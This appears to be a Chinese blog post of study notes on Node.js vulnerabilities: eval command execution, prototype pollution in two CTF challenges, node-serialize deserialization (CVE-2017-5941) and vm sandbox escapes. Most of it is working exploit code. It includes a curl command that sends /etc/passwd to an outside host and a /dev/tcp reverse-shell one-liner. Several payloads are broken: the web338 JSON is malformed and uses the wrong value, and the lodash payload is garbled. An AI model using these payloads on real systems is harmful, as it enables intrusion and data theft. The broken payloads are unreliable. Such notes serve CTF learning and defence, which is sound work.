boxmoe_header_banner_img

Hello! 欢迎来到我的小站!

加载中

文章导读

从0开始学习Node.js常见漏洞


avatar
Ysper_1 2024年 3月 27日 99

从0开始学习Node.js常见漏洞

前言

记录自己对node.js常见漏洞学习的过程

分类

常见的危险函数导致的命令执行

eval

同是和php一样这个函数在node.js里面也是一个危险函数,能够造成rce。

作用:用于执行传入的字符串作为 JavaScript 代码进行解析和执行,然后这也就导致了一些危险操作,造成漏洞。

以一个简单例子作说明

const express=require("express");
const app=express();

app.get('/eval',function (req,res) {
    res.send(eval(req.query.q));
    console.log(req.query.q);
});

const server=app.listen(8888,function () {
    console.log(`Server listening on port 8888!`);
});

简单解释一下,开头导入了exprss模版(一个web框架),然后以get的形式在eval目录下接受参数q,使用了eval函数来执行我们通过参数q传进去的内容。然后将返回的内容作为响应发送到客服端。

我们在本机(win)做测试

这里用到一个很重要的模块child_process它里面的一个函数child_process.exe用于执行同步系统的命令。

在测试环境中我们的payload就可以这样写

eval?q=require('child_process').exec('calc.exe');

image-20240325203350655

同步我们在linux中就可以使用

/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');

解释一下:-F "x=cat /etc/passwd": 这部分是 CURL 的选项,其中 -F 表示发送一个 POST 请求,并且指定了一个表单字段。在这里,字段名为 x,字段的值为 cat /etc/passwd,表示执行 cat /etc/passwd 命令,将 /etc/passwd 文件的内容作为字段的值。

后面的http://vps是向该ip发送post请求。

反弹shell(linux

require('child_process').exec('echo bash -i >& /dev/tcp/ip/port 0>&1|base64 -d|bash');
#bash -i >& /dev/tcp/ip/port 0>&1 这里要用base64加密,否则直接报错,如果遇到+号要用url编码(%2B),不然系统识别不出来直接是空白符号。

node.js原型链污染

前置

学会原型链污染首先要知道关于js的继承与原型

对于继承来说js是一动态类型的,他没有静态类型,而且js只有一种结构对象,每个对象都有一个私有的属性指向另一个名为原型的(prototype)的对象。原型对象也有自己的一个原型,然后层层向上,直到一个对象为null,null没有原型,他作为这个原型链的最后一个。

基于原型的继承

js对象有一个指向一个原型对象的链,当试图访问一个对象的属性时,他不仅会在该对象上面寻找,还会在该对象的原型上寻找,以及原型的原型,依次向上寻找,直到找到一个名字匹配的属性或达到原型链的末尾。

下面做出例子演示:

const o = {
    a: 1,
    b: 2,
    // __proto__ 设置了 [[Prototype]]。它在这里被指定为另一个对象字面量。
    __proto__: {
        b: 3,
        c: 4,
    },
};

//这段代码创建了一个对象 o,其中包含属性 a 和 b,以及一个 __proto__ 属性,用于设置对象的原型链。在这种情况下,__proto__ 被用来指定 o 对象的原型,该原型是另一个对象字面量,包含属性 b 和 c。
console.log(o.a); //他会直接向a对象对寻找a,然后找到了a就会打印1
console.log(o.b);  //开始向o中寻找c如果找不到就会向他的原型(prototype)寻找,找到了就会打印他的值。
console.log(o.d); //找不到就会打印undefined
原型链污染原理
对于语句:object[a][b] = value如果可以控制a、b、value的值,将a设置为proto,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
*console*.log(object1.foo);
object2 = {"c":1, "d":2};
*console*.log(object2.foo);
//Hello World
//Hello World

//这里我们可以看到object2并没有foo属性,但是我们在打印的时候他还是继承了object1的foo属性,这是因为object1和object2都有自己的原型prototype,当object2在自身寻找不到foo属性的时候他就会在自己的父类寻找,这时候object1和object2都有共同的父类原型,他就会在object1父类原型Object.prototype上寻找。从而就造成了原型链污染。

原型链简单的题目(ctfshow

web338

这道题给了源码主要的代码

//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }


});

module.exports = router;

utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);

这里是获得flag的关键代码

就是让secert.ctfshow=’36dboy’就能拿到flag,然后utils.copy(user,req.body);就是我们上面的common.js里面的

//common.js
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

这里有个很明显的原型链污染漏洞 这个copy就和merge函数的作用一样, p神的博客详解

接下来就可以直接利用

payload

{"__proto__":"ctfshow":"26dboy"}

p神的的code break里面也有一道原型链污染题目,感觉非常好,漏洞利用点不在代码中体现,而是在库中,这样做真的就是他说的不是为了出题而刻意创造漏洞。

code_break

这道题还是可以在github找到codebreak

环境自己在本机也能搭建,下面我们就直接分析里面如何利用这个漏洞的

主要漏洞代码

// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
//...

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

主要代码点在lodash里面

这里面

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

然后这里的lodash.merge 操作本身就会存在原型链污染漏洞,污染之后就会新增一个ob,然后这个ob就会通过lodash.template显现给界面

那么接下来我们就可以看template.js库里面

image-20240327220534738

image-20240327220602608

image-20240327220743348

这里面有一个操作,options是一个对象,然后下面的sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

通过这一点我们给Object对象中都插入一个sourceURL属性,然后这个sourceURL被拼接到下面得function中,造成了任意代码执行。

终结payload

{"proto":{"sourceURL":"\u000areturn e =>for (var a in {})delete
object.prototype[a];return
global.process.mainModule.constructor.load('child_process').execsync('id'))\u000a//")}

payload里面的循环开始我也没理解,看到最后p神解释了

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉

node_serialize反序列化漏洞(CVE-2017-5941)

下面就以一个代码来演示

var express = require('express');  
var cookieParser = require('cookie-parser');  
var escape = require('escape-html');  
var serialize = require('node-serialize');  
var app = express();  
app.use(cookieParser())

app.get('/', function(req, res) {  
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);  

这个漏洞点在node-serialize@0.0.4版本中,在里面的/lib/serialize.js中

有一段代码是这样写的

image-20240328165837114

 obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

这里面的eval是用括号括起来的,然后这里面有一个IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。,样式是

(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

这个机制就是会先直接执行这里面的代码,配合这里面的eval,我们就可以构造出来序列化rce漏洞。

serialize = require('node-serialize');
var test = {
    rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

function(error, stdout, stderr) { console.log(stdout) }: 这是一个回调函数,用于处理命令执行完成后的结果。当命令执行完成时,stdout 参数将包含命令的标准输出。在这个函数中,它将标准输出打印到控制台。

由于要符合IIFE的形式我们还要在后面加一个()

然后这里面的单引号需要转义因为

JSON字符串中,包含了一个函数定义,并且这个函数内部有单引号 '。在JavaScript中,如果一个字符串本身包含了单引号,并且你又想要在单引号内部使用单引号,那么就需要对字符串进行转义,以避免解析错误。

最后的payload就变成了这样

var serialize = require('node-serialize');
var payload = '{"rce":"_ND_FUNC_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);

对于本道例题里面如何实现rce,

if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);

为了更好的利用显示,这里我们可以反弹shell利用github上面的一个项目直接生成代码

具体用法就是

python2 test.py ip port

把生成的代码放进IIFE表达式里面生成payload,base64后传给cookie,服务器监听

image-20240328174024700

image-20240328173928105

vm沙箱逃逸

vm是用来实现一个沙箱环境,与主程序隔开,可以安全的执行不受信任的代码。但是可以通过构造语句来逃逸,达到rce。

例子

const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

配合chile_process.exec()就可以执行任意命令了:

const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
详细说明如何得到process
const vm = require('vm')
const sandbox = {"x":1}
vm.createContext(sandbox)
const code=`this`
res = vm.runInContext(code,sandbox)
console.log(res)

这里输出为

{ x: 1 }
通过this得到的

下面在通过this+constructor依次向上获得构造类

image-20240331142459273

这里获得了object

继续向上

image-20240331142605405

这里就得到了function,然后通过Functio可以返回global.process

image-20240331142825018

拿到process就可以之执行任意命令了

image-20240331142927205

这里也是成功执行了windows下面的计算器

this为null( Object.create(null))

类似于

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

类似于这种,这里的const sandbox = Object.create(null); 无法通过this返回global,这里就用到一个函数agguments.callee.caller

它可以返回函数的调用者

逃逸本质就是找到沙箱外的一个对象,并调用其中的方法。

对于这种情况,我们在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.calee.caller就会返回沙箱外的一个对象,然后在沙箱内就可以逃逸

const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

image-20240403193101247

我们在沙箱内创建了一个对象,并且将这个对象的toString方法进行了重写,然后通过arguments.callee.caller获得的沙箱外的一个对象,然后通过构造函数,返回了process,然后在调用process进行rce,然后在沙箱外通过字符串拼接的形式出触发了toString方法。

另外一种情况

沙箱外没有可拼接的字符串触发toString,也没有恶意重写的函数。我们可以利用Proxy来劫持属性

Proxy

一个 Proxy 对象包装另一个对象并拦截诸如读取/写入属性和其他操作,可以选择自行处理它们,或者透明地允许该对象处理它们。

语法

let proxy = new Proxy(target, handler)

  • target —— 是要包装的对象,可以是任何东西,包括函数。
  • handler —— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。比如 get 钩子用于读取 target 属性,set 钩子写入 target 属性等等。

proxy 进行操作,如果在 handler 中存在相应的钩子,则它将运行,并且 Proxy 有机会对其进行处理,否则将直接对 target 进行处理

下面我们的恶意代码可以这样写

const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

触发利用链的逻辑就是我们在get:这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行,实现了rce。

另说

如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值应该怎么进行逃逸呢?

我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出:

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

image-20240403195228327

后记

关于vm2的沙箱逃逸还没了解,后续再补



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码

最新评论

    最新文章